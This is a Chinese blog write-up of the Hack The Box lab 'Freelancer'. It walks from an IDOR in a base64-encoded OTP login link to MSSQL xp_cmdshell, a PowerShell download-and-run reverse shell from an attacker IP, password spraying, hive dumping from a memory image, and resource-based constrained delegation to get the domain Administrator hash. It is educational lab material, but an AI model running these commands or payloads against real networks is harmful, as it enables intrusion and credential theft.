htb_Freelancer

最新推荐文章于 2024-07-11 13:57:12 发布

川川小宝

最新推荐文章于 2024-07-11 13:57:12 发布

阅读量937

点赞数 33

分类专栏： hack the box 文章标签：网络安全

本文链接：https://blog.csdn.net/weixin_62621015/article/details/139711144

版权

hack the box 专栏收录该内容

15 篇文章 0 订阅

订阅专栏

在这里插入图片描述
端口扫描

80 88 389 445
在这里插入图片描述
扫描ldap协议相关漏洞，没有发现

扫描子域名，加入/etc/hosts（后面发现没用）

枚举域用户

目录扫描，发现一个/admin目录

访问后发现要账号密码

访问80端口，注册一个freelancer用户

查看Blog，底部评论区可看见有用户

在这里插入图片描述
点击用户查看，发现修改url中的数字可以查看不同用户

在这里插入图片描述

当url为http://freelancer.htb/accounts/profile/visit/2/时，为admin用户的个人信息
在这里插入图片描述

到处看都没其他发现，回头注册一个employer account
在这里插入图片描述

找一下哪里可以激活账户
重新进行目录扫描，这次直接扫描/accounts目录，发现一个/accounts/recovery/目录
在这里插入图片描述

输入注册时填的信息，提交后就可以通过认证了
在这里插入图片描述

功能和Freelancer用户大差不差
在这里插入图片描述

看个人信息配置，发现一个二维码，提示扫码后可以直接登录账户
在这里插入图片描述

扫一下，扫出来一个url
url后面那截很耐人寻味，MTAwMTA=，=结尾看上去就像base64
在这里插入图片描述

果不其然，解码后发现是一个用户编号
在这里插入图片描述

想起来刚刚看见admin用户的编号是2，将2进行base64编码，修改url信息
在这里插入图片描述
后面是随机序列，只有五分钟有效期

http://freelancer.htb/accounts/login/otp/Mg==/xxxxxxxxxxxxxxxxxxxxxxxx/

访问url，成功切换到admin用户，这里存在IDOR越权漏洞

在这里插入图片描述

重新访问刚刚需要密码登录的/admin/目录，直接就进来了

在这里插入图片描述

底下有个sql terminal，可以执行sql命令在这里插入图片描述

尝试使用xp_cmdshell，权限拒绝
在这里插入图片描述

查看数据库所有者，sqlServer一般是sa

SELECT suser_sname(owner_sid) FROM sys.databases

查看数据库用户，现在的用户大概是guest或者最底下那个Freelancer_webapp_user

EXECUTE AS LOGIN = 'sa'
SELECT name FROM sys.database_principals WHERE type_desc IN ('SQL_USER', 'WINDOWS_USER', 'WINDOWS_GROUP');

在这里插入图片描述

查看sa是否为数据库管理员（有执行命令权限）

EXECUTE AS LOGIN = 'sa'
SELECT IS_SRVROLEMEMBER('sysadmin');

在这里插入图片描述

使用sa权限为Freelancer_webapp_user用户授予sysadmin权限

EXECUTE AS LOGIN = 'sa'
EXEC sp_addsrvrolemember 'Freelancer_webapp_user','sysadmin';

查看当前用户是否为sysadmin权限

SELECT IS_SRVROLEMEMBER('sysadmin');

在这里插入图片描述

启用xp_cmdshell

EXEC sp_configure 'show advanced options', '1';
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', '1' ;
RECONFIGURE;

在这里插入图片描述

可以执行cmd命令了
反弹shell（gitHub上找了一个最新的）添加链接描述

EXECUTE xp_cmdshell ‘powershell -c iex(iwr -usebasicparsing http://10.10.14.50:8899/shel1.ps1)’
在这里插入图片描述

查看用户列表
在这里插入图片描述
在C:\users\sql_sve\Downloads\SqLEXPR-2019_x64_ENU目录下发现一个configuration文件

IL0v3ErenY3ager
t3mp0r@ryS@PWD

将两个密码弄出来做字典

再把刚刚的用户列表也弄下来

Administrator
lkazanof
lorra199
mikasaAckerman
MSSQLSERVER
sqlbackupoperator
sql_svc

使用crackmapexec进行密码喷洒

crackmapexec smb 10.10.11.5 -u user.txt -p pass.txt --sam

在这里插入图片描述
mikasaAckerman/IL0v3ErenY3ager

上传RunasCs，登录

curl http://10.10.14.50:8899/RunasCs.exe -o RunasCs.exe

在这里插入图片描述

./RunasCs.exe mikasaAckerman IL0v3ErenY3ager powershell -r 10.10.14.50:2222

成功切换到mikasaAckerman用户

在这里插入图片描述

找user.txt的时候发现目录底下有两个特殊文件
在这里插入图片描述
mail.txt中重点是给了一个dump文件，大概就是目录里的MEMORY.7z

目标机器上有python，直接开启一个http服务，将MEMORY.7z下载到本地

下载速度有点小慢

在这里插入图片描述

解压后是一个dmp文件

在这里插入图片描述

使用memprocfs将dmp中虚拟文件系统挂载到本机的物理内存，可以查看文件目录

./memprocfs -device MEMORY.DMP -mount /mnt

在这里插入图片描述
该目录底下是windows注册表配置单元，使用secretsdump可以从注册表中提取密码

将system，security，sam几个文件搂下来

在这里插入图片描述
改一下名字

mv 0xffffd3067d935000-SAM-MACHINE_SAM.reghive sam

mv 0xffffd30679c46000-SYSTEM-MACHINE_SYSTEM.reghive system

mv 0xffffd3067d7f0000-SECURITY-MACHINE_SECURITY.reghive security

使用secretsdump解密密码
在这里插入图片描述

impacket-secretsdump -sam sam -system system -security security local

在这里插入图片描述

PWN3D#l0rr@Armessa199

继续进行喷洒

crackmapexec smb 10.10.11.5 -u user.txt -P PWN3D#l0rr@Armessa199

得到新用户凭据

lorra199:PWN3D#l0rr@Armessa199

机器开放了5985端口，可以远程登录

在这里插入图片描述

evil-winrm -i 10.10.11.5 -u "lorra199" -p "PWN3D#l0rr@Armessa199"

在这里插入图片描述
同步时间

ntpdate -q freelancer.htb

在这里插入图片描述

使用bloodhound探测域内环境

faketime -f +5h bloodhound-python -c ALL -u lorra199 -p 'PWN3D#l0rr@Armessa199' -d freelancer.htb -ns 10.10.11.5

在这里插入图片描述
发现lorra199用户位于AD RECYCLE BIN组内，该组对dc有GenericWrite权限

同时lorra199用户可以添加机器用户，可以通过修改dc的msDS-AllowedToActOnBehalfOfOtherIdentity属性进行基于资源的约束性委派攻击
在这里插入图片描述
添加机器用户

impacket-addcomputer -computer-name 'cccc$' -computer-pass '123456cc!' -dc-host freelancer.htb -domain-netbios freelancer.htb freelancer.htb/lorra199:'PWN3D#l0rr@Armessa199'

在这里插入图片描述

使用impacket的rbcd模块进行攻击，修改DC$的msDS-AllowedToActOnBehalfOfOtherIdentity属性指向cccc$

impacket-rbcd -delegate-from 'cccc$' -delegate-to 'DC$' -dc-ip 10.10.11.5 -action 'write' 'freelancer.htb/lorra199:PWN3D#l0rr@Armessa199'

在这里插入图片描述

getST模块获取到administrator的cifs/dc.freelancer.htb的ST

faketime -f +5h impacket-getST -spn 'cifs/dc.freelancer.htb' -impersonate Administrator -dc-ip 10.10.11.5 freelancer.htb/cccc$:'123456cc!'

在这里插入图片描述

将票据导入内存

export KRB5CCNAME=Administrator@cifs_dc.freelancer.htb@FREELANCER.HTB.ccache

secretsdump提取administrator密码

faketime -f +5h impacket-secretsdump 'freelancer.htb/Administrator@DC.freelancer.htb' -k -no-pass -dc-ip 10.10.11.5 -target-ip 10.10.11.5 -just-dc-ntlm

在这里插入图片描述

Administrator:500:aad3b435b51404eeaad3b435b51404ee:0039318f1e8274633445bce32ad1a290:::

使用evil-winrm登录

evil-winrm -i freelancer.htb -u administrator -H '0039318f1e8274633445bce32ad1a290'

在这里插入图片描述

川川小宝

关注

33
点赞
踩
21

收藏

觉得还不错? 一键收藏
0
评论
htb_Freelancer

hack the box linux
复制链接

扫一扫

专栏目录

htb_Freelancer

“相关推荐”对你有帮助么？